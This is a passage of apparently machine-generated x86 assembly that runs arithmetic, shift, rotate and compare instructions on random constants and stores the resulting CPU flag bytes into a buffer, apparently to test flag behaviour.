stosb byte es:[edi], al
mov ebx, 0xc8f4db33
rol ebx, 1
mov edx, 0x6bbfa75b
mov ecx, 0x428cf17b
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5724f3d5
aaa
mov eax, 0xc19060a2
aaa
mov eax, 0x519a17f5
dec eax
mov edx, 0xd1547cce
mov ecx, 0x58a771ec
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xf6ecada2
rol ebx, 1
mov ebx, 0x47f0c52e
mov ecx, 0x58336033
shl ebx, cl
mov ebx, 0xb423c902
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1bdcb7b4
rol ebx, 1
mov ecx, 0x7379a41f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdf58d0c7
rol ebx, 1
mov ebx, 0x4170c967
mov ecx, 0x47b3a536
ror ebx, cl
mov eax, 0x49c1857
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4b34dc05
mov ecx, 0xe07572b
ror ebx, cl
mov eax, 0x2259ffc8
aaa
mov edx, 0xc41b6ef0
mov ecx, 0xce2a96fc
ror edx, cl
mov eax, 0xf8826b8c
mov ecx, 0x7cd4527
ror eax, cl
mov eax, 0xd37e14a4
mov edx, 0xa0df9412
cmp eax, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe9c4767f
mov ecx, 0xccd74f29
rol eax, cl
mov ebx, 0x6aa93428
inc ebx
mov eax, 0x865f7f4
mov ecx, 0xad5cca70
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4bf41913
mov ecx, 0x99c75321
rol ebx, cl
mov ebx, 0x50193514
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x9d45bff1
mov ecx, 0x2c9a8029
sub ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x59ecb3bd
shl edx, 1
mov ebx, 0x6869c71d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x856ffd1b
shl eax, 7
mov ecx, 0x4e8084e9
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x6b7b3c2f
dec edx
mov edx, 0xcef31c09
mov ecx, 0x5d6284ea
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x36baf246
aaa
mov edx, 0xe312d668
sub edx, 0x5ae371c4
lahf
mov byte [edi], ah
inc edi
mov edx, 0x97f80654
mov ecx, 0x435b8590
rol edx, cl
mov eax, 0xd45da354
mov ecx, 0xce343915
ror eax, cl
mov ebx, 0x6df638c8
mov ecx, 0xda918b41
sar ebx, cl
mov ebx, 0x73825205
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xca853d25
mov ecx, 0xa3fccd65
rol edx, cl
mov edx, 0x88b508ef
inc edx
mov eax, 0x1216ae06
mov ecx, 0xfb31bd5c
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x12a1b272
mov ecx, 0xcb083eeb
rol eax, cl
mov ebx, 0x4f522a57
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x85957313
mov ecx, 0x214c5d78
rol ebx, cl
mov eax, 0x6450d60d
shl eax, 1
mov edx, 0x7581fd09
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8180afaa
rol edx, 1
mov edx, 0x58621622
mov ecx, 0x7b2d39f8
sar edx, cl
mov eax, 0x42aa929
mov ebx, 0xc21b6837
cmp eax, ebx
mov eax, 0x51f47396
mov ecx, 0xf7c7a554
sar eax, cl
mov eax, 0xf53385bd
mov ecx, 0x34a2bc5a
rol eax, cl
mov eax, 0xf025270a
aaa
mov edx, 0x2257c85b
sal edx, 1
mov ebx, 0xf655bb0f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xdbd4ae1c
sub ebx, 0x617dc73c
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x433550bb
mov ecx, 0xd16c9457
ror ebx, cl
mov eax, 0x7e175ca6
mov ecx, 0x8296e085
rol eax, cl
mov eax, 0x4e6e1092
rol eax, 1
mov edx, 0x5d188f58
mov ecx, 0x68fb3e21
shl edx, cl
mov eax, 0x85ada3ff
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xcae1801c
mov ecx, 0x3c48c0a9
shl eax, cl
mov edx, 0xf51978ca
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8d90f048
inc edx
mov eax, 0xd6cbf4cd
mov ecx, 0xbd9a788c
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x54433c00
rol edx, 1
mov ecx, 0xef3ef5d7
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x26981894
sub ebx, 0xeef10c66
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x766184c0
shl edx, 1
mov ebx, 0x179d162d
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe80fd352
mov ecx, 0xf96e1c09
rol ebx, cl
mov eax, 0x22d24744
mov ecx, 0xffa35b0a
add eax, ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x23cdefd5
mov ecx, 0xe482cc36
add ebx, ecx
mov eax, 0x99ef32c5
aas
mov ebx, 0x81da5378
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7f942bce
dec ebx
mov edx, 0x7f7e2a84
mov ecx, 0x9d39a9d4
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x88d77e99
mov ecx, 0x56a507
ror edx, cl
mov ecx, 0xa465f1c7
mov ebx, 0xf53a9135
add ecx, ebx
mov ecx, 0xc408a530
mov edx, 0x17a1d7ae
cmp ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3a7f5e4e
mov ecx, 0x4f9e58ce
rol ebx, cl
mov edx, 0xb4767476
mov ecx, 0x2b11043b
sal edx, cl
mov ebx, 0x2b49cfef
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x8fb2093a
mov ecx, 0x9b031b63
add edx, ecx
mov eax, 0x5eacd5e2
aas
mov eax, 0x677b5793
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x99ae2acf
sub eax, 0xa34f85cb
mov eax, 0xb8c86ecd
aaa
mov edx, 0x47a47960
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x76d06c32
mov ecx, 0x76933bc1
sar eax, cl
mov ebx, 0x2ffc3790
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5c51928d
mov ecx, 0x6d789684
ror ebx, cl
mov edx, 0xe924a84e
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x38bc9c74
mov ecx, 0x9caf2e42
ror eax, cl
mov eax, 0x17c08ef
sub eax, 0x9a05421f
mov eax, 0xd1812a04
aas
mov ecx, 0xcab298dd
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xe75e094
mov ecx, 0xc1acb8b3
ror ebx, cl
mov ecx, 0x6741b328
sub ecx, 0xf4e6f4ef
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa2b14f38
mov ecx, 0x51585b11
ror ebx, cl
mov ebx, 0x2322a83c
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xbe1b8715
mov eax, 0x5bb80810
cmp ecx, eax
mov ebx, 0x891d13bc
sal ebx, 1
mov ecx, 0x6adea264
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8078a6e4
aas
mov edx, 0xd9420d28
inc edx
mov eax, 0x745af94
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xe654f335
rol eax, 1
mov edx, 0x924ab075
mov ecx, 0x4bb50b9e
rol edx, cl
mov ebx, 0x21faa6bf
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1adddf2f
mov ecx, 0x1eb4276b
rol ebx, cl
mov ebx, 0x4a76079c
shl ebx, 1
mov ecx, 0x8513f90f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x4bbd5bb7
sal ebx, 0xe4
mov eax, 0x1c3fa27f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6de909d3
sal eax, 0x27
mov ecx, 0x1388d0ae
dec ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x3d1b1ab3
inc ecx
mov edx, 0x8ff7103e
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x47ce33b6
mov ecx, 0x14c91f2a
ror edx, cl
mov eax, 0x82a6ceff
mov ecx, 0x9401f22a
rol eax, cl
mov ecx, 0xe68aa825
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa1ad19bb
mov ecx, 0x3ec40ced
ror eax, cl
mov edx, 0x5965057c
mov ecx, 0xa25ccc93
rol edx, cl
mov ebx, 0x4c0644f5
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1ca14f86
mov ecx, 0xbd08d701
sal eax, cl
mov edx, 0x204427b4
rol edx, 1
mov edx, 0xdfc30b54
mov ecx, 0xef725c46
sar edx, cl
mov eax, 0xfaca6040
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x1922a656
shl edx, 0x13
mov ebx, 0x7ba3d175
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xa62ab6cd
mov ecx, 0xc315037c
rol eax, cl
mov eax, 0x8b94da4e
sar eax, 0x89
mov ebx, 0x2b7eb924
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x89502e12
sal ebx, 0xa4
mov eax, 0xcf050a03
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7bb2e08f
rol eax, 1
mov edx, 0x312f9b2e
rol edx, 1
mov ebx, 0x87281910
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x7404ef1f
mov edx, 0xcded24d5
sub ecx, edx
mov edx, 0x3df9b343
sar edx, 0xd3
mov edx, 0xbd95de90
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa4db78c
mov ecx, 0x65e4fbd1
rol edx, cl
mov ecx, 0x9898613b
mov eax, 0x78f12c6e
add ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x79dc58f9
mov edx, 0x1ae50182
cmp ecx, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x761912fe
rol edx, 1
mov eax, 0x23b65a9c
dec eax
mov eax, 0x49531660
mov ecx, 0xc5425abe
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8fcbf90d
mov ecx, 0xba9a5583
rol eax, cl
mov ecx, 0x5c3ef78e
mov ebx, 0x5a9fddac
sub ecx, ebx
mov eax, 0xe6d84c37
aas
mov edx, 0x586d65c1
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc2b962cc
rol edx, 1
mov ebx, 0xff197d7
mov ecx, 0x2b98e31c
rol ebx, cl
mov eax, 0x2b62f9f6
inc eax
mov eax, 0x72869e73
rol eax, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xae0f97d
dec edx
mov ebx, 0x55f86615
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xcf2f238e
mov edx, 0xb93cd448
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfa046ad6
sal ebx, 1
mov ecx, 0xb27028cb
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2f2bd6b2
mov ecx, 0xbb7a5223
ror ebx, cl
mov edx, 0x9a5d1d6a
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8dcca60f
rol ebx, 1
mov eax, 0x5bf68fc0
mov ecx, 0xc091708c
rol eax, cl
mov edx, 0x81de5b99
mov ecx, 0xad1947ac
sar edx, cl
mov eax, 0x971ce14d
mov ecx, 0xf88f5506
rol eax, cl
mov edx, 0x184dac1f
inc edx
mov edx, 0xec49d951
mov ecx, 0xe2508c71
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x7f801f2a
inc ecx
mov edx, 0x13acfa78
mov ecx, 0x4d5f2732
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x89574802
mov eax, 0x2c44bf37
sub edx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x1fba0b12
inc edx
mov edx, 0xec12cda8
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x71d12a53
mov ecx, 0x68f8d6e7
rol ebx, cl
mov eax, 0x1ca4eea6
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x281183
mov eax, 0x7141a5c3
sub ebx, eax
mov edx, 0x9760e773
shl edx, 0x67
mov ebx, 0x753d0e7
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x83fddcce
mov ecx, 0x78f242d3
cmp eax, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x9ef0df8e
mov ecx, 0xab331712
ror edx, cl
mov ebx, 0x30b96d52
rol ebx, 1
mov eax, 0x51982061
mov ecx, 0x5f7b5f9b
rol eax, cl
mov ebx, 0x1fd70c
mov ecx, 0x27bec0b7
ror ebx, cl
mov ebx, 0x371b3df0
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xed04d26
mov ecx, 0x6e937064
ror ebx, cl
mov ecx, 0x60ef615d
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x1b18beae
rol ebx, 1
mov eax, 0x2cfefbe
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xfa1dc235
rol edx, 1
mov ecx, 0x4a603b04
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xf6db4fbf
mov ecx, 0x13eaa912
ror edx, cl
mov eax, 0xb90e26f
mov ecx, 0x66537cf4
rol eax, cl
mov ebx, 0xd845b2f0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x19f9d012
sal edx, 1
mov ecx, 0x736996b0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xaf08dd47
rol edx, 1
mov ebx, 0x13525c34
rol ebx, 1
mov edx, 0xea691cd5
mov ecx, 0x84f0beec
rol edx, cl
mov eax, 0xfdbe0800
dec eax
mov edx, 0x37ca72cb
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xcd0f5c22
mov ecx, 0x526e6a46
rol edx, cl
mov ecx, 0x277afa89
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xdee1ca20
add eax, 0xa40696ed
mov eax, 0x5c638432
aaa
mov ecx, 0x5bbfcde4
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x48a7b63f
inc ebx
mov ebx, 0xa59f2cba
mov ecx, 0xf33e7a0a
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbd20abb6
add eax, 0x76d9312e
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x635e5e73
mov ecx, 0x233f181c
add edx, ecx
mov eax, 0xcdd1fc9b
aaa
mov ecx, 0x7c3b1fb0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4defc9dd
mov edx, 0x30fc56d3
add eax, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3139c0bd
sal ebx, 1
mov edx, 0xce710896
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfb638c2d
mov edx, 0x636043be
cmp ebx, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x6490ee61
sal ebx, 0x44
mov eax, 0x3f11df70
shl eax, 1
mov edx, 0x329d9759
sub edx, 0x9312a0d4
mov edx, 0x64702ce9
rol edx, 1
mov eax, 0xdd7a6283
rol eax, 1
mov ecx, 0x5c6402b7
sub ecx, 0xfecddf90
mov edx, 0x166095ff
mov ecx, 0x9a63bf05
rol edx, cl
mov eax, 0xfdeef89f
mov ecx, 0x4f69b6ae
ror eax, cl
mov ecx, 0x7d7f3fd2
add ecx, 0x514c9e16
mov eax, 0xd86b81a6
mov ecx, 0x41ba2b48
rol eax, cl
mov eax, 0x71db6172
rol eax, 1
mov ebx, 0x9d426c2a
rol ebx, 1
mov ebx, 0x487ca655
shl ebx, 0x43
mov ecx, 0xd13ce245
sub ecx, 0x8ec5ade2
mov ecx, 0xfe006081
mov eax, 0x563926bd
sub ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x655649af
mov ecx, 0x93713fd6
rol edx, cl
mov eax, 0xe287d540
mov ebx, 0xc5b40d0f
add eax, ebx
mov ebx, 0xe6613a25
mov ecx, 0xd5861e5a
add ebx, ecx
mov eax, 0x78463d24
sal eax, 1
mov eax, 0x33a746d7
rol eax, 1
mov edx, 0x6db59e40
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x368486fa
rol ebx, 1
mov edx, 0xd21cf4cf
rol edx, 1
mov eax, 0xfcdd1e8f
mov ecx, 0x48b46a1a
shl eax, cl
mov ecx, 0x77aa8f4d
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x744188c
mov ecx, 0xf057ae85
shl edx, cl
mov ebx, 0x53b052e4
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x156bc7b5
rol edx, 1
mov edx, 0x3799bb54
rol edx, 1
mov edx, 0x7736644d
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x41d03e
mov ecx, 0x6b28ac22
rol eax, cl
mov ecx, 0x11d40ac7
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x135ba8a
rol edx, 1
mov eax, 0x21edf5b6
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa52b78b3
mov ecx, 0x9d88cb12
cmp eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb51ed688
sal eax, 0x57
mov eax, 0xa1f73834
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa1ce7d5a
mov ecx, 0x96c9159f
rol ebx, cl
mov edx, 0x7fe8534b
mov ecx, 0x150b4653
ror edx, cl
mov edx, 0xc02c3e53
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x76e2550c
mov ebx, 0xaa735753
add eax, ebx
mov eax, 0x8c5c27dd
aas
mov ecx, 0xb97ff150
dec ecx
mov eax, 0xb211fed1
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xa054296
mov ecx, 0x317ce079
rol ebx, cl
mov ecx, 0x41819372
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x19f3560f
mov eax, 0x46b00348
add ebx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x4c742cd3
rol ebx, 1
mov eax, 0xb60c7017
mov ecx, 0x5b55ccd8
add eax, ecx
mov edx, 0x8e46d18c
rol edx, 1
mov edx, 0x48a04e57
mov ecx, 0x2da34032
ror edx, cl
mov eax, 0xe515d183
aas
mov ebx, 0x14f66bbb
mov ecx, 0xbd91134a
rol ebx, cl
mov ebx, 0x27ef0051
inc ebx
mov edx, 0x25e743b0
mov ecx, 0xa7a689b0
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x57e633b
mov ecx, 0x7b396cd9
ror ebx, cl
mov eax, 0x5871beb2
inc eax
mov edx, 0xaad1ac3
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xf106d51c
mov ebx, 0xa3c77f66
sub eax, ebx
mov eax, 0x61337a57
inc eax
mov eax, 0xfc2503f8
mov ecx, 0x181cb9e6
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xd59ed335
mov eax, 0x487fab36
add ecx, eax
mov eax, 0xc911b6b2
aas
mov eax, 0x751305f5
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x557bf1fd
mov ecx, 0xf98910b
add edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9fae6c1f
rol edx, 1
mov eax, 0x6ee03c85
mov ecx, 0x4e3b9c4
rol eax, cl
mov edx, 0xc3f9228
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x55bef308
shl eax, 1
mov eax, 0x4f3578a6
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x299c4dcf
mov ecx, 0x450ff421
ror edx, cl
mov ebx, 0x4388c873
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6873c00b
rol eax, 1
mov edx, 0xd25c4715
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x4860e49f
sal ebx, 0x1f
mov eax, 0x21ea9525
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xa289cc65
sar edx, 0xc5
mov ebx, 0xd77ffdb7
rol ebx, 1
mov ecx, 0xe011e24f
inc ecx
mov ebx, 0xd805a05c
mov ecx, 0x777c3d02
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xd729e054
add ecx, 0x4aae3064
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x527476fa
inc eax
mov eax, 0xbb5e054e
mov ecx, 0xdc992574
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xaea05dbe
cmp ecx, 0x4a59b325
mov edx, 0xb9503099
mov ecx, 0x3313910a
ror edx, cl
mov ebx, 0x81d6c64f
mov ecx, 0xac576aed
cmp ebx, ecx
mov ecx, 0x536cf08c
mov eax, 0x9d351eb2
cmp ecx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xcbe980e5
sal ebx, 1
mov edx, 0x6f9c9c01
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8159ad8c
shl edx, 1
mov edx, 0x712af87f
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x14ef6e45
mov ecx, 0x4dce3aa7
shl eax, cl
mov eax, 0xda532e9c
mov ecx, 0xfa424cbe
ror eax, cl
mov ebx, 0x694ca6e5
add ebx, 0x2d95b28b
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7a4de264
rol edx, 1
mov edx, 0x33415ffd
mov ecx, 0x8a28c162
shl edx, cl
mov eax, 0x723b3ac0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xab6ed0ae
mov ecx, 0x42e9cf3d
rol edx, cl
mov eax, 0xb17e913a
aas
mov ecx, 0x7e65b15b
add ecx, 0xc73acb95
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3163c146
rol eax, 1
mov eax, 0x69db8ba6
mov ecx, 0x72eaf18e
rol eax, cl
mov ebx, 0x39533ad6
mov ecx, 0x75427096
rol ebx, cl
mov ebx, 0x1345764c
mov ecx, 0x97bc9108
rol ebx, cl
mov ebx, 0x64f91098
rol ebx, 1
mov eax, 0xba3132ac
mov ecx, 0x16d8a4f1
rol eax, cl
mov ebx, 0xe8f0738f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xbfabb2b2
rol ebx, 1
mov edx, 0xd495e7a8
sal edx, 0xe5
mov edx, 0x8477f4a0
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x41756aa0
neg ebx
mov eax, 0x5b983085
aaa
mov ecx, 0x2a2d41cc
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xbf2f6e53
add ecx, 0xe93c4b42
mov eax, 0x5d2846f3
aaa
mov ecx, 0xd21f01b8
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x810f66c0
neg ebx
mov edx, 0x122cf354
rol edx, 1
mov edx, 0xf2e17de4
mov ecx, 0x4488559
shl edx, cl
mov edx, 0xd06330b5
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8dea3a49
rol edx, 1
mov eax, 0x4d52b768
mov ecx, 0x6ddd33da
ror eax, cl
mov edx, 0x34aa5ab4
mov ecx, 0x7b954cc2
rol edx, cl
mov edx, 0x9c126454
add edx, 0x1fe3c780
mov edx, 0x500fe76e
mov ecx, 0x16e5b52
rol edx, cl
mov ecx, 0xa785c081
mov edx, 0x9dace1d
cmp ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaba74fe0
sub edx, 0x2854a120
mov eax, 0x75c08781
aas
mov edx, 0xa5b50e61
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6c69e47e
mov ecx, 0xcef025bd
sal edx, cl
mov ebx, 0xaf132d83
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xae68cbda
add eax, 0x2281b9b0
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xfcfeb04b
mov edx, 0x4c5f61e4
cmp ebx, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2a293e2b
mov eax, 0xa1aea3ef
cmp ebx, eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x154722eb
dec ecx
mov eax, 0xeb0c2bdf
mov ecx, 0x663fdc3f
rol eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x210feff
inc eax
mov ebx, 0x8e1a679b
mov ecx, 0x94c58512
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x5e933eaa
cmp ebx, 0x3ed0100d
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe01cdd5
mov ecx, 0x17e8d21a
rol eax, cl
mov edx, 0xdfd70db9
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x779fb6bb
mov ecx, 0xcd3e6f23
ror edx, cl
mov ecx, 0xeebb98e9
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xc1f03fd6
sub eax, 0xe3698d27
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x56230245
mov ecx, 0x872099d6
add ebx, ecx
mov eax, 0xc99566e9
aas
mov edx, 0x669b274d
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf8507fa9
mov ecx, 0xe133348
ror ebx, cl
mov edx, 0x786ffb9b
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4c14afb4
rol edx, 1
mov ebx, 0xdeb00e97
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x45c971f6
rol ebx, 1
mov eax, 0xe501ca2b
rol eax, 1
mov ebx, 0x3183f180
rol ebx, 1
mov ebx, 0xced7e197
mov eax, 0xc3c4dff2
cmp ebx, eax
mov eax, 0x1a65f18f
aas
mov eax, 0x311d0cbf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdeea3242
cmp edx, 0x65db9960
mov ebx, 0x7e527b45
mov ecx, 0xc2ddef19
rol ebx, cl
mov ebx, 0xf0f32a39
rol ebx, 1
mov eax, 0xde5df31
rol eax, 1
mov edx, 0xec6a96ee
cmp edx, 0x255bd3bf
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x2fd4c919
shl eax, 1
mov ecx, 0x7ff79f0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x24d03082
shl edx, 1
mov edx, 0x173dc8da
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xa7f0e60c
shl edx, 1
mov edx, 0x531c742c
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x89ddfbd1
mov ecx, 0xe9b4c665
rol ebx, cl
mov eax, 0x649b3bc8
mov ecx, 0xa0aa54e4
rol eax, cl
mov ecx, 0xaf77ae3e
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb9e0d7c9
mov ecx, 0x9be3df8e
ror edx, cl
mov ebx, 0x19c28016
mov eax, 0x43d3734e
sub ebx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa840e997
rol edx, 1
mov ecx, 0xee075600
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6b151084
dec eax
mov eax, 0x66f7285b
rol eax, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xca0bc1ae
mov edx, 0x90e8c87d
cmp ecx, edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7353d33a
rol eax, 1
mov edx, 0x65a85222
rol edx, 1
mov edx, 0x14f22a80
dec edx
mov edx, 0x41b57612
mov ecx, 0xb9ec15c9
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9ea285e3
mov ecx, 0xf26d00f5
ror eax, cl
mov ecx, 0x16021b5f
inc ecx
mov edx, 0x5b266d66
mov ecx, 0x7e814dfb
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa8fe7a83
mov ecx, 0x7cb97218
ror eax, cl
mov eax, 0xcd983ee4
mov ecx, 0x4b7bb84f
rol eax, cl
mov eax, 0xed748c4b
mov edx, 0xa29dfa65
sub eax, edx
mov eax, 0x226a5b5d
aaa
mov edx, 0x4c961d20
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x83e9f631
mov ecx, 0x94708378
rol eax, cl
mov edx, 0x2a3d815
sub edx, 0xf9a0d4d1
mov eax, 0x1215af88
aaa
mov ecx, 0x231b08d6
dec ecx
lahf
mov al, ah
